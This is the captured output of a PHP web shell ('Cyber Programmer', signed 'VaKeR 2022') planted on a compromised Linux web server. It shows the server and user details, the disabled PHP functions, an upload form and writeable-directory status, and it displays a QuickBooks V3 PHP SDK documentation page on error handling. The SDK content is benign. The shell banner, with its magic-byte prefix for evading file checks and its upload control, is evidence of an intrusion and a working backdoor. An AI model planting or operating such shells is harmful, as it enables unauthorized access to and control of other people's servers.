%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/quickbooks/v3-php-sdk/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/quickbooks/v3-php-sdk/docs/handle-error.html

<!DOCTYPE html>
<!--[if IE 8]><html class="no-js lt-ie9" lang="en" > <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en" > <!--<![endif]-->
<head>
  <meta charset="utf-8">
  
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  
  <title>Error Handling &mdash; QuickBooks V3 PHP SDK 4.0.5 documentation</title>
  

  
  
  
  

  

  
  
    

  

  
  
    <link rel="stylesheet" href="_static/css/theme.css" type="text/css" />
  

  

  
        <link rel="index" title="Index"
              href="genindex.html"/>
        <link rel="search" title="Search" href="search.html"/>
    <link rel="top" title="QuickBooks V3 PHP SDK 4.0.5 documentation" href="index.html"/>
        <link rel="prev" title="Quickstart" href="quickstart.html"/> 

  
  <script src="_static/js/modernizr.min.js"></script>

</head>

<body class="wy-body-for-nav" role="document">

   
  <div class="wy-grid-for-nav">

    
    <nav data-toggle="wy-nav-shift" class="wy-nav-side">
      <div class="wy-side-scroll">
        <div class="wy-side-nav-search">
          

          
            <a href="index.html" class="icon icon-home"> QuickBooks V3 PHP SDK
          

          
          </a>

          
            
            
              <div class="version">
                4.0.5
              </div>
            
          

          
<div role="search">
  <form id="rtd-search-form" class="wy-form" action="search.html" method="get">
    <input type="text" name="q" placeholder="Search docs" />
    <input type="hidden" name="check_keywords" value="yes" />
    <input type="hidden" name="area" value="default" />
  </form>
</div>

          
        </div>

        <div class="wy-menu wy-menu-vertical" data-spy="affix" role="navigation" aria-label="main navigation">
          
            
            
              
            
            
              <ul class="current">
<li class="toctree-l1"><a class="reference internal" href="overview.html">Overview</a></li>
<li class="toctree-l1"><a class="reference internal" href="configuration.html">Configuration</a></li>
<li class="toctree-l1"><a class="reference internal" href="authorization.html">Authorization</a></li>
<li class="toctree-l1"><a class="reference internal" href="quickstart.html">Quickstart</a></li>
<li class="toctree-l1 current"><a class="current reference internal" href="#">Error Handling</a><ul>
<li class="toctree-l2"><a class="reference internal" href="#check-error-code-and-message">Check Error Code and Message</a></li>
<li class="toctree-l2"><a class="reference internal" href="#report-an-error-to-intuit">Report an Error to Intuit</a></li>
</ul>
</li>
</ul>

            
          
        </div>
      </div>
    </nav>

    <section data-toggle="wy-nav-shift" class="wy-nav-content-wrap">

      
      <nav class="wy-nav-top" role="navigation" aria-label="top navigation">
        
          <i data-toggle="wy-nav-top" class="fa fa-bars"></i>
          <a href="index.html">QuickBooks V3 PHP SDK</a>
        
      </nav>


      
      <div class="wy-nav-content">
        <div class="rst-content">
          















<div role="navigation" aria-label="breadcrumbs navigation">

  <ul class="wy-breadcrumbs">
    
      <li><a href="index.html">Docs</a> &raquo;</li>
        
      <li>Error Handling</li>
    
    
      <li class="wy-breadcrumbs-aside">
        
            
            <a href="_sources/handle-error.rst.txt" rel="nofollow"> View page source</a>
          
        
      </li>
    
  </ul>

  
  <hr/>
</div>
          <div role="main" class="document" itemscope="itemscope" itemtype="http://schema.org/Article">
           <div itemprop="articleBody">
            
  <div class="section" id="error-handling">
<h1>Error Handling<a class="headerlink" href="#error-handling" title="Permalink to this headline">¶</a></h1>
<div class="section" id="check-error-code-and-message">
<h2>Check Error Code and Message<a class="headerlink" href="#check-error-code-and-message" title="Permalink to this headline">¶</a></h2>
<p>If <code class="docutils literal"><span class="pre">throwExceptionOnError()</span></code> is not turned on, then for all requests that are not made successful, <code class="docutils literal"><span class="pre">DataService</span></code> will store the <code class="docutils literal"><span class="pre">error</span></code> object.</p>
<p>To retrieve the <code class="docutils literal"><span class="pre">error</span></code> object, call the <code class="docutils literal"><span class="pre">getLastError()</span></code> method of the <code class="docutils literal"><span class="pre">DataService</span></code> object:</p>
<div class="highlight-php"><div class="highlight"><pre><span></span><span class="c1">// Make the API call</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$dataService</span><span class="o">-&gt;</span><span class="na">Add</span><span class="p">(</span><span class="nv">$theTargetObj</span><span class="p">);</span>
<span class="nv">$error</span> <span class="o">=</span>  <span class="nv">$dataService</span><span class="o">-&gt;</span><span class="na">getLastError</span><span class="p">();</span>
</pre></div>
</div>
<p>By default, <code class="docutils literal"><span class="pre">$dataService-&gt;getLastError()</span></code> returns <code class="docutils literal"><span class="pre">FALSE</span></code> for a successful API call, so you can simply use an <code class="docutils literal"><span class="pre">if</span></code> statement to check if the last API request was successful:</p>
<div class="highlight-php"><div class="highlight"><pre><span></span><span class="c1">// Make the API call</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$dataService</span><span class="o">-&gt;</span><span class="na">Add</span><span class="p">(</span><span class="nv">$theTargetObj</span><span class="p">);</span>
<span class="nv">$error</span> <span class="o">=</span>  <span class="nv">$dataService</span><span class="o">-&gt;</span><span class="na">getLastError</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$error</span><span class="p">)</span> <span class="p">{</span>
    <span class="o">...</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="o">....</span>
<span class="p">}</span>
</pre></div>
</div>
<p>If the API request fails, use <code class="docutils literal"><span class="pre">getHttpStatusCode()</span></code> and <code class="docutils literal"><span class="pre">getResponseBody()</span></code> to get the status code&nbsp;and response message&nbsp;of the&nbsp;failed request, which provides information to&nbsp;help you identify the cause:</p>
<div class="highlight-php"><div class="highlight"><pre><span></span><span class="c1">//Make the API call</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$dataService</span><span class="o">-&gt;</span><span class="na">Add</span><span class="p">(</span><span class="nv">$theTargetObj</span><span class="p">);</span>
<span class="nv">$error</span> <span class="o">=</span>  <span class="nv">$dataService</span><span class="o">-&gt;</span><span class="na">getLastError</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$error</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">&quot;The Status code is: &quot;</span> <span class="o">.</span> <span class="nv">$error</span><span class="o">-&gt;</span><span class="na">getHttpStatusCode</span><span class="p">()</span> <span class="o">.</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">;</span>
    <span class="k">echo</span> <span class="s2">&quot;The Response message is: &quot;</span> <span class="o">.</span> <span class="nv">$error</span><span class="o">-&gt;</span><span class="na">getResponseBody</span><span class="p">()</span> <span class="o">.</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="o">....</span>
<span class="p">}</span>
</pre></div>
</div>
</div>
<div class="section" id="report-an-error-to-intuit">
<h2>Report an Error to Intuit<a class="headerlink" href="#report-an-error-to-intuit" title="Permalink to this headline">¶</a></h2>
<p>Sometimes the error returned by QuickBooks Online may not be clear, and you would like Intuit Support to help identify the cause. If so, use the following code to record the Intuit-tid from the response, and send us this value along with the Request and Response log you recorded, so we can help you diagnose the issue:</p>
<div class="highlight-php"><div class="highlight"><pre><span></span><span class="nv">$intuit_tid</span> <span class="o">=</span> <span class="nv">$error</span><span class="o">-&gt;</span><span class="na">getIntuitTid</span><span class="p">();</span>
</pre></div>
</div>
</div>
</div>


           </div>
           <div class="articleComments">
            
           </div>
          </div>
          <footer>
  
    <div class="rst-footer-buttons" role="navigation" aria-label="footer navigation">
      
      
        <a href="quickstart.html" class="btn btn-neutral" title="Quickstart" accesskey="p" rel="prev"><span class="fa fa-arrow-circle-left"></span> Previous</a>
      
    </div>
  

  <hr/>

  <div role="contentinfo">
    <p>
        &copy; Copyright 2018, Intuit, Inc.

    </p>
  </div>
  Built with <a href="http://sphinx-doc.org/">Sphinx</a> using a <a href="https://github.com/snide/sphinx_rtd_theme">theme</a> provided by <a href="https://readthedocs.org">Read the Docs</a>. 

</footer>

        </div>
      </div>

    </section>

  </div>
  


  

    <script type="text/javascript">
        var DOCUMENTATION_OPTIONS = {
            URL_ROOT:'./',
            VERSION:'4.0.5',
            COLLAPSE_INDEX:false,
            FILE_SUFFIX:'.html',
            HAS_SOURCE:  true,
            SOURCELINK_SUFFIX: '.txt'
        };
    </script>
      <script type="text/javascript" src="_static/jquery.js"></script>
      <script type="text/javascript" src="_static/underscore.js"></script>
      <script type="text/javascript" src="_static/doctools.js"></script>

  

  
  
    <script type="text/javascript" src="_static/js/theme.js"></script>
  

  
  
  <script type="text/javascript">
      jQuery(function () {
          SphinxRtdTheme.StickyNav.enable();
      });
  </script>
   

</body>
</html>

VaKeR 2022